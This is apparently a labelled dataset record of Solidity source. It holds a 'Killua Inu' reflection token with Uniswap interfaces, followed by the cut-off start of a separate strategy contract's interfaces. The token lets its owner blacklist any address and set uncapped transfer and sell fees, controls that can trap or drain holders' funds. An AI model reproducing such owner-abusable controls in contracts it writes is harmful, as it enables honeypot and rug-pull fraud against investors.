* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract killuainu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
uint8 private _decimals = 9;
//
string private _name = "Killua Inu"; // name
string private _symbol = "$KILLUA"; // symbol
uint256 private _tTotal = 1000 * 10**9 * 10**uint256(_decimals);
// % to holders
uint256 public defaultTaxFee = 0;
uint256 public _taxFee = defaultTaxFee;
uint256 private _previousTaxFee = _taxFee;
// % to swap & send to marketing wallet
uint256 public defaultMarketingFee = 9;
uint256 public _marketingFee = defaultMarketingFee;
uint256 private _previousMarketingFee = _marketingFee;
uint256 public _marketingFee4Sellers = 9;
bool public feesOnSellersAndBuyers = true;
uint256 public _maxTxAmount = _tTotal.div(1).div(49);
uint256 public numTokensToExchangeForMarketing = _tTotal.div(100).div(100);
address payable public marketingWallet = payable(0xeE769BFAe92b1F90967fef8aA009BF6f7Ad4529f);
//
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public _isBlacklisted;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tFeeTotal;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndSend;
bool public SwapAndSendEnabled = true;
event SwapAndSendEnabledUpdated(bool enabled);
modifier lockTheSwap {
inSwapAndSend = true;
_;
inSwapAndSend = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function excludeFromFee(address account) public onlyOwner() {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner() {
_isExcludedFromFee[account] = false;
}
function removeAllFee() private {
if(_taxFee == 0 && _marketingFee == 0) return;
_previousTaxFee = _taxFee;
_previousMarketingFee = _marketingFee;
_taxFee = 0;
_marketingFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_marketingFee = _previousMarketingFee;
}
//to recieve ETH
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function addToBlackList(address[] calldata addresses) external onlyOwner {
for (uint256 i; i < addresses.length; ++i) {
_isBlacklisted[addresses[i]] = true;
}
}
function removeFromBlackList(address account) external onlyOwner {
_isBlacklisted[account] = false;
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tMarketing, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tMarketing);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tMarketing = calculateMarketingFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tMarketing);
return (tTransferAmount, tFee, tMarketing);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tMarketing, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rMarketing = tMarketing.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rMarketing);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeMarketing(uint256 tMarketing) private {
uint256 currentRate = _getRate();
uint256 rMarketing = tMarketing.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rMarketing);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tMarketing);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateMarketingFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_marketingFee).div(
10**2
);
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBlacklisted[from] && !_isBlacklisted[to], "This address is blacklisted");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + send lock?
// also, don't get caught in a circular sending event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= numTokensToExchangeForMarketing;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (
overMinTokenBalance &&
!inSwapAndSend &&
from != uniswapV2Pair &&
SwapAndSendEnabled
) {
SwapAndSend(contractTokenBalance);
}
if(feesOnSellersAndBuyers) {
setFees(to);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function setFees(address recipient) private {
_taxFee = defaultTaxFee;
_marketingFee = defaultMarketingFee;
if (recipient == uniswapV2Pair) { // sell
_marketingFee = _marketingFee4Sellers;
}
}
function SwapAndSend(uint256 contractTokenBalance) private lockTheSwap {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), contractTokenBalance);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
contractTokenBalance,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
marketingWallet.transfer(contractETHBalance);
}
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeMarketing(tMarketing);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeMarketing(tMarketing);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeMarketing(tMarketing);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeMarketing(tMarketing);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function setDefaultMarketingFee(uint256 marketingFee) external onlyOwner() {
defaultMarketingFee = marketingFee;
}
function setMarketingFee4Sellers(uint256 marketingFee4Sellers) external onlyOwner() {
_marketingFee4Sellers = marketingFee4Sellers;
}
function setFeesOnSellersAndBuyers(bool _enabled) public onlyOwner() {
feesOnSellersAndBuyers = _enabled;
}
function setSwapAndSendEnabled(bool _enabled) public onlyOwner() {
SwapAndSendEnabled = _enabled;
emit SwapAndSendEnabledUpdated(_enabled);
}
function setnumTokensToExchangeForMarketing(uint256 _numTokensToExchangeForMarketing) public onlyOwner() {
numTokensToExchangeForMarketing = _numTokensToExchangeForMarketing;
}
function _setMarketingWallet(address payable wallet) external onlyOwner() {
marketingWallet = wallet;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
_maxTxAmount = maxTxAmount;
}
}
|
True
|
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// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// Global Enums and Structs
struct StrategyParams {
uint256 performanceFee;
uint256 activation;
uint256 debtRatio;
uint256 minDebtPerHarvest;
uint256 maxDebtPerHarvest;
uint256 lastReport;
uint256 totalDebt;
uint256 totalGain;
uint256 totalLoss;
}
// Part: IERC3156FlashBorrower
interface IERC3156FlashBorrower {
/**
* @dev Receive a flash loan.
* @param initiator The initiator of the loan.
* @param token The loan currency.
* @param amount The amount of tokens lent.
* @param fee The additional amount of tokens to repay.
* @param data Arbitrary data structure, intended to contain user-defined parameters.
* @return The keccak256 hash of "ERC3156FlashBorrower.onFlashLoan"
*/
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32);
}
// Part: IUniswapAnchoredView
interface IUniswapAnchoredView {
function price(string memory) external returns (uint256);
}
// Part: IUniswapV2Router01
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}
// Part: IUniswapV3SwapCallback
/// @title Callback for IUniswapV3PoolActions#swap
/// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface
interface IUniswapV3SwapCallback {
/// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap.
/// @dev In the implementation you must pay the pool tokens owed for the swap.
/// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.
/// amount0Delta and amount1Delta can both be 0 if no tokens were swapped.
/// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by
/// the end of the swap. If positive, the callback must send that amount of token0 to the pool.
/// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by
/// the end of the swap. If positive, the callback must send that amount of token1 to the pool.
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata data
) external;
}
// Part: InterestRateModel
interface InterestRateModel {
/**
* @notice Calculates the current borrow interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amount of reserves the market has
* @return The borrow rate per block (as a percentage, and scaled by 1e18)
*/
function getBorrowRate(
uint256 cash,
uint256 borrows,
uint256 reserves
) external view returns (uint256, uint256);
/**
* @notice Calculates the current supply interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amount of reserves the market has
* @param reserveFactorMantissa The current reserve factor the market has
* @return The supply rate per block (as a percentage, and scaled by 1e18)
*/
function getSupplyRate(
uint256 cash,
uint256 borrows,
uint256 reserves,
uint256 reserveFactorMantissa
) external view returns (uint256);
}
// Part: OpenZeppelin/[email protected]/Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/[email protected]/IERC20
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
